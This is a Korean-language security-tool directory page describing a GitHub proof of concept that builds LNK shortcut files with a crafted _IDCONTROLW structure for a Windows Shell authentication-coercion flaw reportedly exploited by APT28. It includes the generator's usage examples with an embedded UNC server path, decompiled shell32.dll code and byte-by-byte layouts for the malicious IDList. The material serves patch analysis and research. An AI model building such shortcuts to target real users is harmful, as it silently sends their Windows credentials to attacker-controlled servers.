Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-32202 — CVE-2026-21510 및 CVE-2026-32202의 Windows Shell 스푸핑 취약점을 연구하기 위해 조작된 _IDCONTROLW 구조를 가진 LNK 파일을 생성하며, shell32.dll 내부의 리버스 엔지니어링을 포함합니다. | Kitploit
도구/GitHubGitHub/virus-or-not/cve-2026-32202
Vulnerability AnalysisExploitationReverse EngineeringBinary AnalysisPapers & Research
GitHubvirus-or-not/cve-2026-32202

CVE-2026-32202

CVE-2026-21510 및 CVE-2026-32202의 Windows Shell 스푸핑 취약점을 연구하기 위해 조작된 _IDCONTROLW 구조를 가진 LNK 파일을 생성하며, shell32.dll 내부의 리버스 엔지니어링을 포함합니다.

저장소 보기
884개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

PoC

root@kitploit:~
python3 CVE-2026-32202.py -h
usage: CVE-2026-32202.py [-h] --unc PATH [--out FILE] [--applet-id INT] [--name STR] [--infotip STR] [--no-dump]

Generate a test LNK file with an _IDCONTROLW structure.
Research tool for CVE-2026-21510 / CVE-2026-32202 patch analysis.

options:
  -h, --help           show this help message and exit
  --unc, -u PATH       UNC or local path to embed in _IDCONTROLW (e.g. \\192.168.1.31\share\test.cpl)
  --out, -o FILE       Output LNK filename (default: test_idcontrolw.lnk)
  --applet-id, -a INT  Signed applet ID for dwAppletID (default: -201 = 0xFFFFFF37)
  --name, -n STR       Display name of the CPL applet (default: "Research CPL")
  --infotip, -i STR    Tooltip string (default: "CVE-2026-21510 research")
  --no-dump            Suppress the hex dump of _IDCONTROLW

Examples:
  python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl
  python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl --out poc.lnk
  python CVE-2026-32202.py --unc \\srv\share\x.cpl --applet-id -201 --no-dump

리버스 엔지니어링: 문서화되지 않은 shell32.dll 구조체 재구성

_IDCONTROLW

연구 배경: CVE-2026-21510 / CVE-2026-32202 (APT28 LNK 악용 체인) 분석.
기반 자료: Akamai Security Research.
목표: shell32.dll이 LinkTargetIDList 내부에서 제어판 애플릿을 표현하는 데 사용하는 내부 _IDCONTROLW 구조체 재구성.


배경

APT28은 악성 .lnk 파일에 문서화되지 않은 _IDCONTROLW 구조체 내부에 UNC 경로가 포함된 LinkTargetIDList를 삽입하여 Windows Shell(shell32.dll)의 취약점을 악용했습니다. 이로 인해 explorer.exe가 사용자 상호작용 없이(제로 클릭) 공격자가 제어하는 서버로 SMB 연결을 시작하게 되었습니다.

_IDCONTROLW 구조체는 공개 Windows SDK나 Microsoft의 공개 shell32.dll PDB 심볼에 문서화되어 있지 않습니다. 본 보고서는 IDA Pro에서의 정적 분석을 통한 재구성 과정을 기록합니다.


LinkTargetIDList 구조체 개요

MS-SHLLINK에 따르면, LinkTargetIDList는 표준 IDList — 2바이트 널로 종료되는 가변 길이 ItemID 항목들의 배열 — 를 포함합니다.

APT28 악용 코드에서 IDList는 정확히 세 개의 항목을 포함합니다:

인덱스내용
IDList[0]CLSID {26EE0668-A00A-44D7-9371-BEB064C98683} — 제어판 루트
IDList[1]CControlPanelCategoryFolder 항목 — "모든 제어판 항목" (카테고리 0)
IDList[2]_IDCONTROLW — UNC 경로가 포함된 CPL 애플릿 항목

이것은 다음 가상 경로로 해석됩니다:

root@kitploit:~
::{26EE0668-A00A-44D7-9371-BEB064C98683}\0\{CPL 항목}

방법론

_IDCONTROLW가 공개 PDB 심볼에 없으므로, Explorer에서 제어판 항목을 렌더링하는 역할을 담당하는 CControlPanelFolder::GetUIObjectOf에서 시작하여 IDA Pro에서 호출 체인을 추적하는 방식으로 재구성을 수행했습니다.


호출 체인 분석

진입점: CControlPanelFolder::GetUIObjectOf

Explorer가 악성 LNK가 포함된 폴더를 렌더링할 때, CPL 항목의 아이콘을 추출하기 위해 GetUIObjectOf를 호출합니다. 이는 다음 체인을 트리거합니다:

root@kitploit:~
CControlPanelFolder::GetUIObjectOf
  └── CControlPanelFolder::GetModuleMapped    ← PathFileExistsW가 여기서 트리거됨 (CVE-2026-32202)
        └── CControlPanelFolder::GetModule
              └── CControlPanelFolder::_IsUnicodeCPLWorker   ← _IDCONTROLW 감지

_IsUnicodeCPLWorker — 구조체 검증

root@kitploit:~
const struct _IDCONTROLW *__thiscall
CControlPanelFolder::_IsUnicodeCPLWorker(_WORD *this)
{
    if ( *this > 0x18u          // cb > 24
      && !*(this + 4)           // +0x08 == 0
      && !*(this + 5)           // +0x0A == 0
      && !*((_BYTE *)this + 12) // +0x0C == 0
      && *((_BYTE *)this + 13) == 106 ) // +0x0D == 0x6A
        return (const struct _IDCONTROLW *)this;
    return nullptr;
}

이것은 오프셋 +0x0D = 0x6A에 있는 유니코드 마커를 드러냅니다.

CControlPanelFolder::GetModule — 필드 접근

root@kitploit:~
// 오프셋 +0x18에서 읽는 유니코드 경로 (v5[1] = &structure[1] = +0x18):
v10 = StringCchCopyW((size_t)&v6[1], v12, savedregs);

// 오프셋 +0x0C에서 읽는 ANSI 폴백:
v7 = SHAnsiToUnicode((PCSTR)(v6 + 12), a1, (int)cwchBuf) == 0;

이것은 유니코드 경로(ModulePath)가 +0x18에서 시작함을 확인합니다.

_IDControlCreateW — 구조체 생성

root@kitploit:~
int __userpurge _IDControlCreateW@<eax>(...)
{
    v8  = wcslen(a2);                          // len(ModulePath)
    v9  = 2 * wcslen(a3) + 2;                 // sizeof(Name) in bytes
    v10 = 2 * v8 + 4 + v9 + 2 * wcslen(a4);  // total data size

    v11 = ILCreate(v10 + 26);                 // alloc: data + 0x1A header

    v11[1]             = a1;                  // +0x04: dwAppletID
    *((_BYTE*)v11 + 13) = 106;               // +0x0D: typeFlag = 0x6A
    *((_WORD*)v11 + 10) = (2*v8+2) >> 1;    // +0x14: cchModule
    *((_WORD*)v11 + 11) = *((_WORD*)v11+10) + (v9>>1); // +0x16: offName
    *(_WORD*)v11        = v10 + 24;          // +0x00: cb
    // strings written at +0x18
}

재구성된 _IDCONTROLW 구조체

root@kitploit:~
struct _IDCONTROLW {
    WORD  cb;           // +0x00  size of entire structure (including cb itself)
    WORD  pad1;         // +0x02  padding, always 0
    DWORD dwAppletID;   // +0x04  applet ID (negative for registered CPL, e.g. -201 = 0xFFFFFF37)
    WORD  pad2;         // +0x08  always 0  (checked by _IsUnicodeCPLWorker)
    WORD  pad3;         // +0x0A  always 0  (checked by _IsUnicodeCPLWorker)
    BYTE  pad4;         // +0x0C  always 0  (checked by _IsUnicodeCPLWorker)
    BYTE  typeFlag;     // +0x0D  = 0x6A — Unicode CPL marker
    WORD  pad5;         // +0x0E  padding
    DWORD pad6;         // +0x10  padding
    WORD  cchModule;    // +0x14  length of ModulePath in WCHARs (including null terminator)
    WORD  offName;      // +0x16  offset of Name from start of data[] in WCHARs
    WCHAR data[1];      // +0x18  ModulePath\0Name\0InfoTip (UTF-16LE)
};

필드 참조 테이블

오프셋크기필드값 / 참고
+0x00WORDcb구조체 전체 크기
+0x02WORDpad10
+0x04DWORDdwAppletID애플릿 ID (예: 0xFFFFFF37 = -201)
+0x08WORDpad20 — _IsUnicodeCPLWorker에 의해 검증됨
+0x0AWORDpad30 — _IsUnicodeCPLWorker에 의해 검증됨
+0x0CBYTEpad40 — _IsUnicodeCPLWorker에 의해 검증됨
+0x0DBYTEtypeFlag0x6A — 유니코드 마커
+0x0EWORDpad50
+0x10DWORDpad60
+0x14WORDcchModulewcslen(ModulePath) + 1
+0x16WORDoffNamecchModule (Name이 ModulePath 바로 뒤에 옴)
+0x18WCHAR[]data[]ModulePath\0Name\0InfoTip (UTF-16LE)

비교: _IDCONTROL vs _IDCONTROLW

ANSI 버전(_IDCONTROL)은 _IDControlCreateA에 의해 생성되며 다른 레이아웃을 사용합니다:

root@kitploit:~
struct _IDCONTROL {
    WORD  cb;           // +0x00  = total_size + 12
    WORD  flags;        // +0x02
    DWORD dwAppletID;   // +0x04
    WORD  cchModule;    // +0x08  strlen(ModulePath) + 1
    WORD  offName;      // +0x0A  cchModule + strlen(Name) + 1
    CHAR  data[1];      // +0x0C  ModulePath\0Name\0InfoTip (ANSI)
};

주요 차이점:

속성_IDCONTROL (ANSI)_IDCONTROLW (유니코드)
헤더 크기0x0C (12바이트)0x18 (24바이트)
문자열 인코딩ANSI (char)UTF-16LE (WCHAR)
유니코드 마커없음+0x0D = 0x6A
감지_IsUnicodeCPLWorker가 nullptr 반환포인터 반환
경로 시작 오프셋+0x0C+0x18

IDList 구성

IDList[0] — 제어판 루트 (CLSID {26EE0668-...})

root@kitploit:~
1F 50 68 06 EE 26 0A A0 D7 44 93 71 BE B0 64 C9 86 83

타입 0x1F = CLSID가 있는 루트 셸 항목.

IDList[1] — "모든 제어판 항목" (카테고리 0)

CControlPanelCategoryFolder::CreateIDList에서 재구성:

root@kitploit:~
*(_WORD*)v5       = 12;          // cb = 0x0C
*((_WORD*)v5 + 1) = 1;           // flags = 0x0001
v5[1]             = 0x39DE2184;  // magic identifier
v5[2]             = 0;           // category index = 0

바이너리:

root@kitploit:~
0C 00 01 00 84 21 DE 39 00 00 00 00

IDList[2] — UNC 경로가 포함된 _IDCONTROLW

\\192.168.1.31\share\test.cpl 예시:

root@kitploit:~
9E 00           — cb = 158
00 00           — pad1
37 FF FF FF     — dwAppletID = -201
00 00           — pad2
00 00           — pad3
00              — pad4
6A              — typeFlag = 0x6A ✓
00 00 00 00 00 00  — pad5 + pad6
1E 00           — cchModule = 30
1E 00           — offName = 30
5C 00 5C 00 ... — \\192.168.1.31\share\test.cpl (UTF-16LE)

취약한 코드 경로

패치되지 않은 버전의 취약점 체인:

root@kitploit:~
Explorer가 폴더 렌더링
  → CControlPanelFolder::GetUIObjectOf (아이콘 추출 요청)
    → CControlPanelFolder::GetModuleMapped
      → PathFileExistsW(pszPath)   ← 여기서 SMB 연결 시작

Microsoft의 패치(CVE-2026-21510)는 IVerifyingTrust::OnVerifyingTrust를 통한 SmartScreen 검증을 추가하는 ControlPanelLinkSite를 도입했지만 — ShellExecuteExW 단계에서만 적용됩니다. GetModuleMapped의 PathFileExistsW 호출은 체인에서 더 일찍 발생하며 해결되지 않아, CVE-2026-32202(인증 강제)는 후속 업데이트까지 패치되지 않은 상태로 남았습니다.


면책 조항

이 저장소에 제공된 정보는 교육 및 정보 제공 목적으로만 사용됩니다. 저자는 제시된 자료의 불법적, 악의적 또는 비윤리적 사용을 지지하지 않으며 이에 대한 책임을 지지 않습니다. 논의된 기술과 개념은 적절한 승인 없이 시스템이나 네트워크에 적용되어서는 안 됩니다. 저자는 이 정보의 오용으로 인한 손해, 법적 결과 또는 손실에 대해 책임을 지지 않습니다. 독자들은 사이버 보안 관행에 관한 모든 관련 법률과 지침을 준수할 것을 권장합니다.

도구 다운로드